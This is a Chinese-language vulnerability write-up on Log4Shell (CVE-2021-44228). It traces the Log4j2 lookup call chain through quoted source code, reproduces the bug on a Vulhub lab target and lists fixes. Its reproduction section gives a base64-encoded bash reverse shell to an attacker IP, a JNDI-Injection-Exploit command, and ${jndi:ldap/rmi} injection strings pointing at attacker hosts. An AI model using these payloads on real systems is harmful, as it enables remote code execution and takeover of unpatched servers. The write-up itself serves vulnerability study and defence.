CVE-2021-44228源码分析与漏洞复现

漏洞概述

漏洞名称：Apache Log4j2 远程代码执行漏洞
漏洞编号：CVE-2021-44228
CVSS 评分：10.0
影响版本：Apache Log4j 2.0-beta9 至 2.14.1
修复版本：2.15.0、2.16.0

CVE-2021-44228 是 Apache Log4j2 日志框架中因 JNDI 功能未安全过滤用户输入导致的远程代码执行漏洞。攻击者通过构造包含恶意 JNDI 查询的字符串（如 ${jndi:ldap://attacker.com/Exploit}），当该字符串被 Log4j2 记录到日志时，触发 JNDI 解析逻辑，从攻击者控制的服务器加载并执行恶意代码，最终完全控制目标系统。

---

技术细节与源码分析

1. 漏洞成因**

Log4j2 的 消息查找替换功能（Message Lookup）允许在日志消息中动态解析变量（如 ${env:USER}）。攻击者通过注入 ${jndi:ldap://恶意URL}，触发 Log4j2 的 JndiLookup 类解析 JNDI 请求，从而加载远程恶意代码。关键问题包括：

1. 未验证输入来源：日志消息中的用户输入未过滤 JNDI 协议；
2. 默认启用高危功能：Log4j2 默认启用 JNDI 和消息查找功能。

2. 关键源码分析

1. 日志记录入口：用户输入被记录

场景示例：
假设用户发送 HTTP 请求，请求头中包含恶意 Payload：

GET /vulnerable-page HTTP/1.1  
User-Agent: ${jndi:ldap://attacker.com/Exploit}  

应用程序使用 Log4j2 记录请求头：

logger.info("Received request from User-Agent: {}", userAgent);  

此时，userAgent 的值为 ${jndi:ldap://attacker.com/Exploit}。

---

2. 日志消息解析：MessagePatternConverter.format()

代码路径：org.apache.logging.log4j.core.pattern.MessagePatternConverter#format
关键逻辑：

 @Overridepublic void format(final LogEvent event, final StringBuilder toAppendTo) {final Message msg = event.getMessage();if (msg instanceof StringBuilderFormattable) {final boolean doRender = textRenderer != null;final StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;if (msg instanceof MultiFormatStringBuilderFormattable) {((MultiFormatStringBuilderFormattable) msg).formatTo(formats, workingBuilder);} else {((StringBuilderFormattable) msg).formatTo(workingBuilder);}if (doRender) {textRenderer.render(workingBuilder, toAppendTo);}return;}if (msg != null) {String result;if (msg instanceof MultiformatMessage) {result = ((MultiformatMessage) msg).getFormattedMessage(formats);} else {result = msg.getFormattedMessage();// 触发消息格式化}if (result != null) {toAppendTo.append(result);} else {toAppendTo.append("null");}}}

作用：

• 调用 Message.getFormattedMessage() 解析消息中的占位符（如 ${jndi:...}）。
• 漏洞触发点：若消息包含 ${} 表达式，Log4j2 默认会解析其中的动态内容。

---

3. 占位符替换：StrSubstitutor.replace()

代码路径：org.apache.logging.log4j.core.lookup.StrSubstitutor#replace
关键逻辑：

public String replace(final LogEvent event, final String source) {if (source == null) {return null;}final StringBuilder buf = new StringBuilder(source);try {if (!substitute(event, buf, 0, source.length())) {// 解析占位符 return source;}} catch (Throwable t) {return handleFailedReplacement(source, t);}return buf.toString();}

substitute 函数：

private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,List<String> priorVariables) {.......if (priorVariables == null) {priorVariables = new ArrayList<>();}final StringBuilder bufName = new StringBuilder(varNameExpr);substitute(event, bufName, 0, bufName.length(), priorVariables);//调用resolveVariable()varNameExpr = bufName.toString();}pos += endMatchLen;final int endPos = pos;String varName = varNameExpr;String varDefaultValue = null;.......}

解析流程：

1. 检测 ${：扫描字符串中的 ${ 符号。
2. 提取表达式：截取 ${jndi:ldap://attacker.com/Exploit}。
3. 调用 resolveVariable()：解析表达式中的 jndi 前缀。

---

4. resolveVariable()接口

关键逻辑：

  protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,final int startPos, final int endPos) {final StrLookup resolver = getVariableResolver();if (resolver == null) {return null;}try {return resolver.lookup(event, variableName);// 调用 JndiLookup.lookup()} catch (Throwable t) {StatusLogger.getLogger().error("Resolver failed to lookup {}", variableName, t);return null;}}

步骤分解：

• 提取前缀：从 ${jndi:ldap://...} 中提取 jndi。
• 调用 JndiLookup：执行 JndiLookup.lookup() 方法。

---

5. JNDI 查询：JndiLookup.lookup()

代码路径：org.apache.logging.log4j.core.lookup.JndiLookup#lookup
关键逻辑：

 @Overridepublic String lookup(final LogEvent event, final String key) {if (key == null) {return null;}final String jndiName = convertJndiName(key);// 转换为合法 JNDI 名称try (final JndiManager jndiManager = JndiManager.getDefaultManager()) {return Objects.toString(jndiManager.lookup(jndiName), null);// 发起 JNDI 查询} catch (final NamingException e) {LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", jndiName, e);return null;}}

漏洞根源：

• jndiManager.lookup()：直接调用 Java 原生 javax.naming.InitialContext.lookup()。
• 协议滥用：支持 ldap、rmi 等远程协议，允许加载外部类。

---

6. 远程类加载与代码执行

攻击链完成：

1. LDAP 服务器响应：攻击者的 LDAP 服务器返回指向 http://attacker.com/Exploit.class 的引用。
2. 类加载触发：目标服务器通过 URLClassLoader 加载远程类。
3. 静态代码块执行：恶意类的静态代码块中执行 Runtime.getRuntime().exec("恶意命令")。

---

完整调用链图示

[用户输入]  ↓  
MessagePatternConverter.format()  ↓  
Message.getFormattedMessage()  ↓  
StrSubstitutor.replace()  ↓  
JndiLookup.lookup()  ↓  
JndiManager.lookup()  ↓  
javax.naming.InitialContext.lookup()  ↓  
LDAP/RMI 远程类加载 → RCE  

---

漏洞复现

环境搭建

1.使用 Vulhub 环境启动漏洞靶机

 docker-compose up -d

2.访问访问 http://target:8983，确认服务正常运行

攻击步骤(反弹shell)

1.下载攻击工具

2.生成payload

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==是bash -i >& /dev/tcp/192.168.1.102/6666 0>&1的base64编码(换成自己攻击机的ip和监听端口)

3.开启监听

4.使用工具

进入tools目录,执行命令

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.1.1
//192.168.1.1换为执行该命令的主机ip

• 触发漏洞

http://192.168.1.100:8983/solr/admin/cores?action=${jndi:rmi://192.168.1.1:1099/r10kqv}每个人可能不一样，看自己工具生成的地址

5.验证

---

修复建议

1. 升级 Log4j2：
   • 升级至 2.16.0 及以上版本（默认禁用 JNDI 和消息查找）；
2. 临时缓解措施：
   • 设置 JVM 参数 -Dlog4j2.formatMsgNoLookups=true；
   • 删除 JndiLookup.class 文件（适用于旧版本）；
3. 网络防护：
   • 使用 WAF 拦截包含 ${jndi: 的请求；
   • 限制服务器对外网络访问（阻断 LDAP/RMI 出站）。

---

总结

CVE-2021-44228 的根源在于 Log4j2 对用户输入的过度信任与 JNDI 功能的滥用。其利用链清晰、影响深远，甚至被预测为“地方性流行病”，未来十年内仍可能影响未修复的系统。修复需结合代码升级、网络防护与持续监控，以应对不断演变的攻击手法。

参考链接

1. CVE-2021-44228 漏洞复现与利用链分析
2. Log4Shell 漏洞背景与全球影响
3. Spring Boot 项目修复方案
4. 漏洞技术细节与修复指南
5. log4j2漏洞CVE-2021-44228复现笔记